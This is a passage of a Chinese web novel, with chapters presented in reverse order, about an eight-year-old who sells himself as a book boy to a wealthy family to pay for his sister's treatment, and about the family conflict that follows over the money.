陈平川被带到一个暖和的屋子,热水早已备好,冒着腾腾的热气。 “洗洗身子,你现在是张府的人,要干干净净的,别丢人。” 说完,任管家放下一套衣服走出去。 陈平川痛痛快快地洗了个热水澡。 这是他穿越过来后洗得最舒服的一次澡。 身上的疲惫仿佛都被洗去了大半。 浴后,他换上了新衣裳。 那是一套青色的细棉布书童服。 衣料柔软,贴在皮肤上很舒服。 这身衣裳,比他自己最好的那件吗,过年才舍得穿的旧衣裳,不知强了多少倍。 他走到屋角的铜镜前照了照。 镜中的少年,虽然因为营养不良,看起来依旧面黄肌瘦。 但眉宇间,却透着一股不屈的英气。 换上这身合体的簇新衣裳后,整个人瞧着也精神了不少。 任管家走进来,打量了他一眼,眼中掠过一丝满意。 微微点了点头:“模样倒还不错。” 他清了清嗓子,交代道:“平川啊,以后你跟着小少爷了,要机灵点,少爷吩咐的事,都要尽心尽力办好。” “小的明白。”陈平川躬身应下。 “随我来吧,去见小少爷。” 任管家转身,朝着另一个方向走去。 推开一扇雕花木门,一股墨香混合着淡淡的檀香气味扑面而来。 眼前是一间宽敞明亮的书房。 书架上摆满了书,书桌上笔墨纸砚整齐。 小少爷张金宝正趴在书桌前,似乎在写字。 一见陈平川进来,小眼睛倏地亮了。 他“嗷”地一声,丢下手里的毛笔,兴奋地冲了过来,一把拉住陈平川的手腕。 “大哥!你可算来了!”张金宝咧开嘴,露出几颗还没长齐的牙齿。 “快快快,咱们再来比试井字棋!”他迫不及待地拉着陈平川往桌边走。 任管家咳嗽一声,语气里带着几分无奈:“少爷,先别光顾着玩,今日方先生还布置了功课。” 张金宝不耐烦地摆摆手。 “知道啦知道啦!你先出去吧,我和大哥玩一会就写!” 任管家见状,也知道劝不住自家少爷,只能摇头退了出去。 纸张很快铺好。 毛笔蘸上墨汁。 棋局开始。 张金宝抢先下笔,在棋盘中央点了一个黑点。 他得意扬扬地扬起下巴。 口中还念念有词:“看我的新招!一定能赢你!” 陈平川看着眼前的棋盘。 微微挑了挑眉。 这一招开局,确实有些章法,和之前张金宝胡乱下棋的路数截然不同。 他稍一思索,便看出了其中的门道,不慌不忙地从容应对。 这一局,张金宝下得格外起劲,时不时还得意地哼哼两声。 陈平川不动声色,见招拆招。 虽然比之前几局费了些周折,但最终还是破去了对方的阵势,以和局收场。 “怎么样!怎么样!”张金宝激动地从凳子上跳了起来,小脸涨得通红。 他指着棋盘,满脸兴奋。 “服不服!这局就差一点点!下局我肯定能赢你!”他语气中满是骄傲,仿佛打了个大胜仗一般。 陈平川试探他的口风。 “小少爷,这几步棋是你自己想出来的?” “不是!”张金宝立刻摇头,提起妹妹就一脸骄傲:“是我妹妹想出来的!厉害吧!” 他拍着胸脯。 “我妹妹从小就聪明,家里人都说她是神童呢!” 陈平川心中了然。 怪不得下棋路数变了,原来是得益于他那个聪明的妹妹。 看张金宝的样子,这张金宝怕是只学了个开局的皮毛。 接下来的对弈,陈平川稍稍调整了策略。 他不再用复杂的招式,而是简化了下法。 果不其然。 张金宝只会死板地重复那个开局套路,一旦开局的套路被破掉。 他便又恢复了先前手忙脚乱、毫无章法的模样。 陈平川轻松写意,连赢了好几盘。 张金宝输得小嘴撅得老高。他抓耳挠腮,却又无可奈何。 突然,一个清脆如银铃的声音从门口传来。 “哥,你也太笨了!” 张静姝不知何时溜了进来。 她抱着胳膊,倚在门框上,小脸上带着几分不耐烦。 陈平川看过去,小丫头梳着双丫髻,圆圆的脸上有一双又大又亮的眼睛,透着一股子古灵精怪。 她径直走到书桌边,看了一眼上面的残局,对着张金宝撇撇嘴。 “就这么几步,你都学不会!”她毫不留情地数落,“大笨蛋!” 张金宝被妹妹说得面红耳赤,却不敢反驳半句。 张静姝不再理会自己的哥哥,她转过头,目光落在陈平川身上。 下巴微微扬起。眼中带着一丝挑衅。 “你叫陈平川吧?”她问道,“我来跟你下,一定能赢你!” 陈平川心中觉得好笑。 这兄妹两人,口气都不小。 “好啊。”陈平川微笑着应下。 “但先说好,输了可不许哭鼻子哦。”他故意逗她。 “哼!”张静姝闻言,立刻挺起小胸脯。 “你才哭鼻子呢!” 随后,两人你来我往,在棋盘上厮杀起来。 张金宝傻愣愣地站在旁边,看着两人下棋……完全看不懂! 几个回合下来,陈平川不禁有些惊讶。 这小丫头年纪虽小,下棋却颇有章法。 每一步都带着清晰的思路,远非她那个头脑简单的哥哥可比。 两人连下了五局,竟是斗了个平分秋色,谁也没占到便宜。 陈平川看着旁边一脸懵逼的张金宝。 再瞧瞧旁边张静姝那双灵动狡黠的眼睛,那双眼珠子正骨碌碌转个不停。 他心中暗想,这张静姝的聪慧,倒真是继承了张财主的精明劲儿。 至于她这个……哥哥嘛…… 莫不是在娘胎里的时候,被脐带缠住了脖子。 缺氧了? 反正这兄妹俩的模样和性子,怎么看都差得有点远。 他很怀疑。 这两人真的是亲兄妹? 张静姝见陈平川不说话,以为难住他了,得意地扬了扬小下巴。 “怎么样?本小姐厉害吧?”她双手叉腰,臭屁到不行。 陈平川脸上挂着浅笑。 “嗯,是比你哥哥强那么一点点。” 他话锋一转,“不过,井字棋太简单,还有一种棋,更好玩。” 第8章 霸气威武,老娘要分家! 罗氏胸膛剧烈起伏。 那双布满血丝的眼睛,死死盯着步步逼近的陈老太太。 每一个字,都带着泣血的控诉。 “这二十两,是我儿平川卖身换来救平玉的钱!” 她猛地拔高声音,声嘶力竭。 “你们想要这钱?” 罗氏嘴角扯出一个凄厉的弧度。 眼中闪过一丝豁出去的疯狂。 “可以!” “但必须分家!” “轰”的一声。 分家两个字,如同炸雷一般,在陈家大院里炸开。 震得所有人的脑子,嗡嗡作响。 陈仲和脸色霎时惨白,他慌忙上前一步,想要去拉罗氏的胳膊。 “孩他娘,你……你胡说些什么!”声音带着惊慌和无措。 罗氏一把甩开他的手。 泪水决堤而下。 声音却愈发尖锐。 “我胡说?!” “今日我们卖儿子,明日是不是还要卖女儿?!” “这个家,还能待下去吗?!” “再不分家,我们一家四口,迟早都得被他们这群豺狼活活吞了!” 陈仲和张了张嘴,喉咙里像是堵了一团棉花,一个字也吐不出来。 他知道罗氏说的没错,可他只能懦弱地站在一旁,两边都不敢得罪。 “反了!” “真是反了天了!” 陈老太爷气得浑身发抖。 手中的拐杖,重重捶地,发出“咚咚”的闷响。 他指着陈仲和的鼻子,破口大骂。 “你这个不孝子!” “看看你娶的好婆娘!” “要翻天了不成!” 陈老太太更是气得跳脚。 她指着罗氏的鼻子,尖声叫骂。 “你这个搅家精!” “祸害!” “看我不让仲和休了你这个泼妇!” 这话虽狠,但也只敢嘴上说说。 她心里清楚,二儿子陈仲和虽然闷声闷气,但一向深爱这个妻子,真要休了,指不定会做出什么事来。 大伯母在一旁看热闹不嫌事大。 她阴阳怪气地开口。 “哎哟,二弟妹。” “莫不是以为,说句狠话,这秋闱的银子就能赖掉不成?” “这可不行,你大哥的前程要紧!” 三房的王氏,用帕子掩着嘴,“咯咯”一笑。 笑声尖细刺耳,带着恶毒的阴损。 “就是啊,二嫂。” “这分家可不是闹着玩的。” “真分出去了,你们一家老小,吃什么,喝什么呀?” “别是想用这个法子,逼着爹娘松口,把那二十两银子昧下吧?” 陈仲文摇着扇子。 一副痛心疾首的模样。 “二弟妹,一家人,有话好商量,何必走到分家这一步?” “传出去,岂不让人笑话我陈家不睦?” 这些人你一言我一语。 字字句句,都在暗示罗氏是虚张声势。 不过是想独吞那笔钱。 周围的空气,仿佛都凝固了。 所有人的目光,都聚焦在罗氏身上。 等着看她,如何收场。 罗氏身后,陈平川小小的拳头,紧紧攥着。 这些人真是恶心到了极点! 娘做得对! 这个家,早就该分了! 他在心里,暗暗为母亲点赞。 罗氏冷笑一声。 她看着眼前这一张张丑陋不堪、贪婪无度的嘴脸。 一字一句,清晰冰冷。 “我不是吓唬谁!” “更不是要赖掉银子!” “二十两,我一个子儿都不会少给你们!” “但是,这钱给了,我们就分家!” 她的声音,变得更加坚定决绝。 “家里的田产、物件,我们二房一样不要!” “我们,净身出户!” 这话一出。 比刚才说分家,还要让人震惊百倍。 不要家产? 净身出户? 院子里的人,都怀疑自己耳朵出了毛病。 这年头,没了田地,没了家产,跟要饭的有什么区别?这罗氏,是真疯了吗? 大伯母张大了嘴,半天没合拢。 她喃喃道:“疯了……真是疯了……” 王氏也收起了那副看好戏的嘴脸。 眉头蹙起。 这罗氏,不像是开玩笑。 她们想不通,这罗氏葫芦里到底卖的什么药。 陈仲文皱着眉头。 他倒不关心分不分家,只关心那二十两银子能不能到手。只要钱到手,别的事他才懒得管。 陈仲武这时候出来打圆场。 他劝大家冷静,尤其是罗氏,不要想不开。 分家可不是闹着玩的。 只有陈仲和最着急,他拉着罗氏的胳膊,声音带着慌张。 “他娘,没家产,我们一家三口喝西北风去啊?” 陈平川心中却是一片雪亮。 母亲这是破釜沉舟,置之死地而后生! 只要能脱离这个狼窝。 有他在背后出谋划策,加上勤劳肯干的父母,还怕饿死? 他暗暗给母亲竖起了大拇指。 这一招,走得妙极! “胡闹!” 陈老太爷终于从震惊中回过神来,脸色铁青。 手中的拐杖,再次狠狠砸在地上。 “只要我这把老骨头还在一天,这个家,就休想分!” 他的声音带着不容置疑的威严。 目光如电般扫过罗氏和陈仲和。 罗氏死死盯着陈老太爷,一步不退。 两个人就这样僵持着,谁也不肯让步。 陈老太爷看着罗氏眼中的倔强和决绝。 他活了一辈子,还是第一次见到女人如此疯狂。 把人逼急了,谁知道会做出什么事来? 而且,分家传出去实在不好听,尤其是对他大儿子考取功名有损。 还有,要是真分了家,家里的田地谁来种? 老大是读书人,肩不能扛手不能提,种地等于自降身份,让人笑话。 老三倒是能种,可他是木匠,靠手艺吃饭,种地就差远了,跟老二没法比。 权衡利弊之下。 陈老太爷的语气,缓和了些许。 “老二家的,我知道你心里有气。” 他叹了口气。 “平川这孩子……也确实受了委屈。” 他顿了顿,才继续说道。 “这次仲文秋闱的银子,既然平川已经拿回来了,那就算你们二房出了。” “下一次,若是老大还需要盘缠,就从老三家出。” “你们二房,就不用再负担了。” 这话一出。 三房的陈仲武和王氏,脸色立刻垮了下来,像吃了黄连一般。 王氏张了张嘴,想说什么,却被陈仲武暗暗拉了一把。 只能悻悻地闭上了嘴,心里憋屈死了。 陈老太爷看着罗氏,说道:“这样,你可还有话说?” 罗氏紧紧咬着下唇,没吭声。 虽然这不是她想要的结果,但至少,为家里争取到了一点喘息的空间。 老两口和大房拿了钱,短时间内不会再为难他们。 而且把下次的负担推到了三房,也算是一种让步。 陈老太爷见状,知道她算是默认了这个结果。 老头子摇摇头,背着手,头也不回地进了正房。 陈老太太狠狠剜了罗氏一眼,也跟着进去了。 大房两口子对视一眼。 钱已经拿到,剩下的事他们也不掺和,见好就收。 只有三房的王氏,气得浑身哆嗦。 瞪着罗氏,想骂又不敢。 最后只能跺了跺脚,拉着陈仲武,气冲冲地回了自己屋。 等到院子里只剩下陈平川一家。 罗氏紧绷的身体,才缓缓松懈下来。 她瘫软地靠在门框上,眼神有些空洞。 这一仗,她没赢,但也没输。 然而。 分家的念头,已经在她心里扎了根。 今日的屈辱和愤怒,刻骨铭心。 她要攒钱! 她要早日把儿子赎回来! 然后,带着她的丈夫和孩子,彻彻底底地,离开这个冰冷、残酷的家! 第7章 卖身钱也抢,全家都是狼心狗肺! 天刚蒙蒙亮,东边的天空才泛起一丝鱼肚白。 陈平川一家就都起来了。 罗氏不知从哪里翻出了一件衣裳。 虽然也打了好几个补丁,颜色也洗得发旧,但却是家里相对最整齐干净的一件。 她仔细地帮陈平川换上。 一家人围坐在昏暗的堂屋里。 桌上摆着简单的早饭。 他们看着陈平川小口小口地吃着,谁也没有说话。 连一向活泼好动的陈平玉,此刻也异常乖巧。 她只是睁着一双黑葡萄似的大眼睛。 一会儿看看沉默不语的哥哥。 一会儿看看愁容满面的爹娘。 她的小手,自始至终都紧紧地拉着陈平川的衣角,仿佛一松开,哥哥就会消失不见。 早饭吃完了。 时候也差不多了。 陈平川站起身。 罗氏也跟着猛地站了起来。 她一把拉住儿子的胳膊,将他拽到门边,声音颤抖。 “儿啊,你听娘说。” “那张家是大户人家,门槛高,里面的人心眼也多,弯弯绕绕的,不比咱们这些庄户人家简单。” “你做事的时候,凡事多留个心眼,别傻乎乎地什么都信。” “那位小少爷,他若是待你好,那自然是你的福分,也是咱们家的万幸。” “可他若是……若是个被惯坏了的,骄纵蛮横,不知好歹的混不吝……” 罗氏的声音顿了顿,眼圈瞬间就红了。 “你……你千万莫要跟他硬顶,知道吗?咱们胳膊拧不过大腿,最后吃亏的还是你!” “凡事多看,多听,少说。嘴巴放甜一点,手脚勤快点,让人家抓不住你的错处。” “还有,遇事千万莫要慌张,先在心里头仔仔细细琢磨清楚了,再开口,再动手。” “保全自个儿,才是最要紧的,你听见没有?” 罗氏说到这里,声音已经带上了浓重的哭腔,泪水在眼眶里打转。 “万一……万一你在那张家受了什么天大的委屈,实在是待不下去了……” 她的声音哽咽起来:“你就想法子……想法子捎个信回来……” “娘就算是拼了这条老命不要,倾家荡产,也……也一定去把你接回来!” 话未说完,罗氏再也忍不住。 她猛地捂住嘴,泪水如同断了线的珠子,汹涌而出,泣不成声。 这个坚强的女人,此刻脆弱得像风中的残烛。 陈平川伸出小手,擦去罗氏的眼泪。 他用力地点了点头,用稚嫩的声音安慰母亲:“放心吧,娘。” 他的声音不大,却异常清晰。 “孩儿会照顾好自己,不会让您和爹担心的。” 千叮咛万嘱咐,一家三口才依依不舍地将陈平川送到了院门口。 寒风似乎都带上了三分萧瑟。 大房的窗户,“吱呀”一声被推开半扇。 大伯母探出个脑袋,伸长了脖子,眼珠子滴溜溜地朝着这边张望。 三房那边,王氏正端着一盆洗脸水准备泼出门,瞧见这阵仗,脚步骤然顿住。 他们都注意到了。 陈平川这小子,今天竟然没牵那头瘦牛! 身上还换了件平日里过年都未必舍得穿的“体面”衣裳,虽然依旧打着补丁,却浆洗得干净。 这反常的举动,让他们心里很好奇。 “哎哟喂,这不是平川大侄子吗?” 大伯母那标志性的大嗓门骤然响起,故意拔高了音调,确保能传进正房陈老太爷两口子的耳朵里。 “今儿个这太阳是打西边儿出来啦?不去放牛,倒穿得人模狗样的,这是要上哪儿玩去呀?” 话音刚落,正房那块洗得发白的门帘猛地一掀。 陈老太太如同出笼的饿鹰,领着柱着拐杖的陈老太爷,一阵风似的快步走了出来。 老太太那双精明的三角眼,先是刀子般刮过院子中央垂头抹泪的罗氏和一脸木然的陈仲和,最后才定格在快要走出院门的陈平川身上。 见他今日果真没牵牛,穿得也比平日里齐整些,老太太心里的火气“蹭”就上来了,按捺不住,扬声厉喝:“老二家的!你家平川那小兔崽子,今儿个胆肥了啊?!牛不放了,穿得跟个小少爷似的,想干嘛去?是不是又琢磨着偷懒耍滑!” 罗氏猛地转过头,脸颊上未干的泪痕在晨光下分外刺眼。 她双目通红,布满血丝,却只是死死咬着干裂的嘴唇,终究没有吐出一个字来。 “老二,你哑巴了?问你话呢!”陈老太爷喉咙里发出一声重重的咳嗽,手中的拐杖在青石板上“笃笃”地顿了两下,发出沉闷的声响。 陈仲和被父母这般疾言厉色地逼问,本就佝偻的腰弯得更低,脑袋几乎要垂到胸口,声音细得如同蚊子哼哼:“平川……他,他……去张财主家……当书童了。” 他艰难地喘了口气,仿佛说出这几个字已经耗尽了他全身的力气,声音里带着绝望的沙哑。 “他……他把自己给卖了,换了二十两银子……给,给平玉……” 此言一出,整个陈家大院仿佛被一道无形的惊雷劈中,瞬间陷入一片令人窒息的死寂。 所有人都像是被点了穴道一般,僵在原地。 一个才八岁的孩子,把自己给卖了!? 这简直是闻所未闻! 短暂的沉寂过后,大伯母那双原本就小的眼睛里骤然爆发出贪婪的精光! 她嘴角几乎要咧到耳根子,那股子喜不自胜的劲儿差点没掩饰住,却又在下一瞬硬生生压了下去,脸上挤出一丝假惺惺的“惋惜”,语气夸张得令人作呕:“哎哟!平川这孩子,可真是……真是太懂事了!小小年纪就知道为家里分忧解难!这下可好了,仲文去府城秋闱的盘缠,可算是有着落了啊!” 这话像是一块巨石投入死水潭,瞬间打破了众人的惊愕。 陈老太爷捋着下巴上那几根稀疏泛黄的山羊胡,浑浊的老眼微微眯起,脸上露出了几分“欣慰”的表情,慢条斯理地点了点头:“嗯,为了他大伯的功名前程,也为了咱们陈家的脸面,平川这孩子此举,也算是识大体,有孝心了。” 他那副理所当然的模样,好像陈平川的牺牲是天经地义,甚至是值得夸赞的壮举。 三房的王氏掏出块绣花的旧帕子,掩着嘴,“咯咯”一笑,尖细刺耳,语带着毫不掩饰的阴阳怪气:“二嫂,你可真是好福气!生了这么个有出息的好儿子,小小年纪就知道替家里分忧。不像我们家那几个皮猴子,整天就知道调皮捣蛋,让人操碎了心!” 旁边的陈仲武也跟着干笑两声,附和道:“可不是嘛!我早就说平川这孩子机灵懂事,你们看看,这不就是了!” 罗氏听着这些扎心窝子的话,气得浑身都在发抖,指甲深深地掐进了掌心,渗出了血丝,却浑然不觉疼痛。 “何事如此喧哗,扰了我的清梦?” 一个带着几分睡意未消的慵懒声音,从大房的屋里传了出来。 门帘一挑,大伯陈仲文打着哈欠,手中还摇着一把破旧扇子,慢吞吞地踱了出来。 他好像还没睡醒,头发有些凌乱,身上的青布长衫也皱皱巴巴的,沾染着一股子陈腐的书卷气,却依旧不减他那副自命不凡的“读书人”派头。 目光懒散地扫过院中神色各异的众人,最终落在面色铁青的罗氏身上,陈仲文不悦地皱了皱眉,“莫不是,又为了我秋闱的银子,在这里争吵不休?成何体统!” 大伯母一见自家男人出来了,立刻像条哈巴狗似的凑了上去,脸上堆满了谄媚的笑容。 她眉飞色舞,添油加醋地将陈平川“自愿卖身筹钱”的事儿绘声绘色地描述了一遍。 “我说当家的,你可得好好谢谢你这个好侄儿!他为了你能安心去府城参加秋闱,主动把自己给卖了!真是懂事得让人心疼死喽!” 在她那张颠倒黑白的嘴里,陈平川俨然成了“顾全大局、舍生取义、孝感动天”的绝世典范。 至于这背后的被迫、无奈与辛酸血泪,她却是半个字都未曾提及,仿佛那些都不值一提。 陈仲文听罢,脸上先是露出一丝惊讶,随即,竟真的挤出两滴鳄鱼泪来。 他故作沉痛地长叹一声:“哎!平川这孩子,当真是……当真是令人刮目相看!小小年纪,便有如此担当与胸襟,实乃我陈家之幸,家族之福啊!” 他煞有介事地抬起袖子,在眼角象征性地抹了抹,说道:“待大伯此番金榜题名,高中魁首,定然不会忘了你的这份拳拳之心!” 话虽然说得冠冕堂皇,感人肺腑。 但他那双看似悲悯的眼睛,在转向罗氏的时候,却带上了一丝不耐烦的催促。 那眼神,分明在说:既然银子已经到手了,还不快点把钱拿出来给我?! 罗氏抱着双臂,身体因愤怒而微微颤抖。 她冰冷的目光,缓缓扫过眼前这一张张丑陋不堪、贪婪无度的嘴脸,胸中翻涌的怒火几乎要将她整个人都燃烧起来,却依旧紧咬牙关,一言不发。 陈老太太见她这副油盐不进的模样,本就阴沉的脸色骤然一变,厉声喝道:“还傻愣着干什么?!快把银子拿出来!这二十两银子,本就是为了仲文科考筹措的!难道你还想昧下这笔钱不成?!我告诉你,门儿都没有!” 她一边说着,一边一步步朝着罗氏逼近,那只枯瘦得如同鸡爪般的手指,几乎要戳到罗氏的脸颊上,唾沫星子横飞。 第6章 晴天霹雳!爹娘当场崩溃! 陈平川牵着那头瘦骨嶙峋的老黄牛,比往日早了许多回到了家门口。 院门虚掩着,他推开门,将牛拴在院角的歪脖子树下。 陈仲和正蹲在屋檐下,低头修理着一把豁了口的锄头,额上渗着细密的汗珠。 “爹。” 听到儿子唤自己,陈仲和抬起头,有些意外,“平川?今儿怎么回这么早?” 陈平川没有立刻回答,他几步走到父亲跟前,拉起陈仲和的胳膊,面色是少有的凝重。 “爹,进屋说。” 陈仲和见儿子神色不对,心头一跳,连忙放下手中的锄头,跟着进了屋。 陈平川反手将有些晃动的木门掩上,利落地插上了门栓。 灶房里,罗氏听见动静,也撩开帘子走了出来,见父子俩神色不对,她心里咯噔一下,隐隐觉得有事发生。 “当家的,平川,这是咋了?” 陈平川没有说话,走到那张破旧的方桌旁,从怀里掏出那个鼓鼓囊囊的布袋,然后猛地将袋口朝下。 “哗啦——” 一堆银锭子混着铜钱,散落在桌面,在昏暗的屋里闪着晃眼的光。 罗氏和陈仲和双双呆立当场,眼睛瞪得溜圆,几乎不敢相信自己看到的。 “平川……儿啊,这……这钱是哪儿来的?”罗氏的声音带着颤抖,她一步步挪到桌边,手指着那些银子,不敢去碰。 她怕,怕这是儿子走了歪路得来的不义之财。 陈仲和也是一脸惊骇,张着嘴,半天说不出话来。 陈平川抬起头,目光平静地看着自己的父母。 “孩儿把自己卖给了张财主家,给他们的小少爷当书童。” 这句话像一道晴天霹雳,炸得罗氏眼前发黑。 她脸上血色褪尽,嘴唇哆嗦着,下一瞬,抄起墙角立着的扫帚疙瘩,就朝陈平川劈头盖脸打来。 “你个小畜生!哪个让你去卖自己的!老娘打死你!” 然而,那高高扬起的扫帚,却在距离陈平川头顶寸许的地方,骤然停住了。 罗氏的手臂剧烈地颤抖着,扫帚“哐当”一声掉在地上。 她再也支撑不住,双腿一软,瘫坐在地,积攒了许久的泪水如同决堤的洪水,汹涌而出。 “我的儿啊……我的平川啊……”她一把将陈平川紧紧搂进怀里,瘦弱的肩膀剧烈地耸动着,哭得撕心裂肺。 “你这个傻孩子!你为什么要这么做啊!你这是要剜娘的心啊!!” “都怪娘没用!是娘没本事!护不住你们兄妹俩!呜呜呜……”她捶打着自己的胸口,哭声凄厉而绝望,“老天爷啊!你睁开眼看看!为何要如此逼我们一家老小!我们到底做错了什么啊!” 一旁的陈仲和,早已是面无人色,浑身都在发抖。 他一把抓起桌上的钱袋,手忙脚乱地把钱往里塞,眼眶通红,拉着陈平川的手腕就往门外拖,“平川,跟爹走!这钱咱们不要了!爹这就去张家,就是给他们磕头,也要把你赎回来!” 陈平川任由父亲拉着,小小的身子却像在地上生了根,纹丝不动。 “爹,没用的。”他稚嫩的声音里,带着一种不属于他这个年纪的冷静。 “卖身契已经画了押,按了手印。张家不会退钱的。” 陈仲和回头,盯着儿子那双清澈见底,却又平静得可怕的眼睛。 那眼神,不像一个八岁的孩子,倒像一个……历经沧桑的成年人。 “再说,”陈平川继续开口,“就算他们肯退钱,妹妹怎么办?” “三天之内,咱们家,还能从哪里再凑出二十两银子来?” 这一连串的问话,像一把把锤子,狠狠砸在陈仲和心上。 他张了张嘴,想说什么,却一个字也吐不出来。 手里的钱袋掉落下来,银子铜板哗啦散落一地。 屋里的哭声惊醒了在里屋睡觉的陈平玉。 小丫头揉着惺忪的睡眼,赤着脚跑了出来,一眼就看见母亲坐在地上痛哭,父亲则失魂落魄地站着。 她再看到哥哥被父亲拉扯,地还散着钱,顿时吓得小脸煞白。 “哇——爹!娘!你们不要卖哥哥!我不要哥哥走!” 陈平玉像只受惊的小兽,猛地扑了过去,用尽全身力气,死死抱住陈平川的腿,哭得撕心裂肺,上气不接下气。 “你们卖我吧!呜呜呜……不要卖哥哥……” 陈平川蹲下身子。 他伸出手,轻轻擦去妹妹脸颊上的泪珠。 “傻妹妹,不哭了。” “哥哥不是被卖掉。” “哥哥是自己找了个好去处,那里有吃有穿,还能学本事。” 他努力让自己的声音听起来轻松些。 “等哥哥学成了,就能赚好多好多的钱,让你跟爹娘都过上好日子。” 陈平玉抽噎着,小手紧紧攥着哥哥的衣角,泪珠还挂在长长的睫毛上,暂时止住了哭泣。 “真……真的吗?” “哥哥什么时候骗过你?”陈平川刮了刮她的小鼻子。 小丫头终于破涕为笑,却还是舍不得地抱着哥哥的胳膊,小脑袋在他身上蹭来蹭去。 陈平川这才站起身,看向面色惨白的父母。 他将那三两额外的碎银子单独拿了出来,放在桌上。 “爹,娘,张财主人还不坏。他觉得孩儿聪明懂事,额外赏了这三两银子。” 这话半真半假,点明张盛财对他带着几分赏识,自己的日子能好过点。 这无疑给绝望中的陈仲和与罗氏,带来了一丝些许的安慰。 “张家虽然是大户人家,规矩多,但那位小少爷,看起来并不难相处。” “孩儿会好好做事,争取早一天回来,让咱们家过上好日子。” 罗氏的心,像是被一只无形的手紧紧揪着,疼得她几乎喘不过气。 她明白儿子是在安慰他们,可一想到儿子这么小的年纪就要去人家府里做下人,看人脸色,她的心就痛得无法呼吸。 然而,事已至此,再多的眼泪和不舍,也改变不了冰冷的现实。 罗氏的眼睛红肿得像两个熟透的桃子。 她伸出手,指尖颤抖着,将地上那些散落的银子,一点点拢到一处。 这里面,二十两,是女儿活下去的指望。 另外三两,则是儿子用自由换来的微光。 她将那三两碎银子小心翼翼地拿起。 然后寻来一块洗得发白、却依旧干净的布条。 一层,又一层,紧紧地包裹起来。 她走到墙角那个破旧不堪的木箱子旁,打开箱盖。 将那个小小的布包,塞进了箱子最底层。 压在几件打满补丁、散发着皂角味的旧衣裳下面。 那里,是这个家最隐秘的角落。 做完这一切,她才缓缓转过身。 声音嘶哑,却每一个字都透着作为母亲的坚定。 “儿啊,这三两银子,娘给你好好攒着。” “从今往后,娘和你爹,就是每日勒紧裤腰带,少吃一口,也要把这赎身的钱,一文一文地给你攒出来!” 陈仲和蹲在一旁,宽厚的脊背微微佝偻。 他双手死死抱着头,一言不发,肩膀却控制不住地轻轻颤抖。 这个一向沉默寡言的男人,此刻心中的痛楚,不比任何人少。 第5章 爹,我就要他! 不多时,一阵脚步声由远及近。 任管家在前引路,身后跟着一个身形富态的中年男人,还有一个小胖墩。 那中年男人自然是张家家主,张盛财。 他挺着颇具规模的肚子,脸上带着商人特有的精明。 跟在他身后的张金宝,则明显有些心不在焉。 小胖手偷偷捏着两颗石子,时不时就在掌心比划,嘴里还念念有词。 显然,他的心思还在那井字棋的玄奥变化之中,无法自拔。 “老爷,少爷。” 任管家躬着身子,声音恭敬。 “这几个,便是今日送来,想要给少爷当书童的孩子。” 他将这些孩子的情况,逐一简单介绍了一番。 这个据说是某位秀才家的远房亲戚。 那个则是县城里家道中落人家的子弟。 个个都声称是识文断字的。 张盛财听着,不置可否地微微点了点头。 他目光扫过面前垂手站立的几个孩子,然后转向自家儿子,语气随意地说道:“金宝啊。” “这些人,都是给你寻摸来的书童。” “你自个儿瞅瞅,有没有哪个瞧着顺眼的,挑一个吧。” 张金宝的魂儿还在那九个格子里打转,压根就没抬头看那些候选人。 他随口就应了一句:“哪个都不顺眼,我不要!” 这话一出,那几个原本还抱有几分期盼的孩子,脸上的神色顿时黯淡下去,写满了失望。 陈平川站在队伍的最末尾,心里咯噔一下。 这小胖子,不按常理出牌啊! 可不能就这么被他一句话给“一锅端”了! 妹妹还在家里等着他拿钱救命呢! 想到这里,陈平川不再犹豫,从队伍末尾往前踏出一步。 他清亮的声音,在略显安静的偏厅中格外清晰:“小少爷,可是还在为昨日那井字棋的胜负而苦恼?” 张金宝正低头冥思苦想,怎么才能赢了那个可恶的“大哥”。 冷不丁听到这熟悉的声音,他猛地抬起了头。 待看清说话之人正是陈平川时,他那双原本还有些迷糊的眼睛倏地瞪得溜圆,随即脸上便绽放出大大的惊喜。 “大哥!” 他惊喜地叫了一声,丢开手里把玩的石子,一阵风似的冲了过去,一把拉住陈平川的胳膊,笑哈哈地问道:“你怎么会在这里?” 陈平川唇角噙着一抹浅淡的微笑,从容应道:“我来给你当书童啊。” “书童?” 张金宝闻言一愣,随即反应过来。 他紧紧拉着陈平川的袖子,转身就往张盛财那边跑。 “爹!爹!” 他指着陈平川,语气急促。 “我就要他!我就要他当我的书童!” 张盛财的眉头,几不可察地皱了一下。 他上上下下打量着陈平川。 这孩子面黄肌瘦,脏兮兮的旧衣裳上打满了补丁,一看就是穷苦人家的娃。 “农家娃?” 他语气中不自觉地带上了几分嫌弃。 “他能伺候好我儿子吗?” 在张盛财看来,书童就算不是知书达理,起码也得是个伶俐乖巧、身体健壮的。 眼前这个小子,瘦不拉几的,能顶什么用? 张金宝却不依不饶,拽着张盛财的胳膊使劲摇晃起来,央求道:“我不管!我不管!他可厉害了!我就要他嘛,爹!” 张盛财脸上露出一丝犹豫。 正在这时,任管家适时地上前一步,压低了声音对张盛财说道:“老爷。” “这孩子昨日曾来府上卖过鹅卵石。” “他虽然是农家出身,却胆大心细,说话条理清晰。” “尤其是在与小的谈价钱的时候,能言善辩,不卑不亢。” “小小年纪就懂得如何应对周旋,这份机灵劲儿和眼力价,可是难得得很呐。” “兴许……他真能镇住少爷,引着少爷在学问上用点心。” 张金宝在一旁听了,立刻小鸡啄米似的连连点头,急忙补充道:“对对对!他能镇住我!我跟他下棋,一次都没赢过!” 听自家儿子这么说,又见管家也替这小子说话,张盛财不由得多看了陈平川两眼。 他清了清嗓子,语气依旧有些硬邦邦地问道:“你叫什么名字?今年几岁了?” 陈平川身形站得笔直,不卑不亢,朗声回答:“回老爷话,小子陈平川,今年八岁。” 嗯,谈吐倒还算清晰。 张盛财微微点了点头,又问:“既然是农家子弟,为何要想到来张府当书童?” 他心里暗自寻思,这孩子看着确实比旁边那几个呆头呆脑的要机灵些。 但一个农家娃,大字不识一个,又能懂得什么道理? 陈平川微微垂下眼帘,声音平静:“家中贫困,小子想出来为家里分担些辛劳。” 张盛财见他说话确实有条有理,这份镇定自若,可不像寻常农家孩子能有的。 “你这孩子,看着不像一般的庄稼娃儿。”他语气中带上了一丝探究的意味,“可是读过书?” “不曾。” 陈平川如实回答。 “只是平日里喜欢听村里的老人们讲些古今故事,自己瞎琢磨些浅显的道理罢了。” 一番对话下来,让张盛财心里的天平,又朝着陈平川这边微微倾斜了几分。 看看其他那几个孩子,在他面前大气都不敢喘,连头都不敢抬。 这个陈平川,却能与他对答如流。 单这份胆识,就胜过旁人不少了。 又想起管家之前提到,这小子还来府上卖过鹅卵石。 张盛财越发觉得,这小子脑子确实活络。 他沉吟片刻,继续询问:“你可知道,一旦卖身,便从此失去了自由之身。” 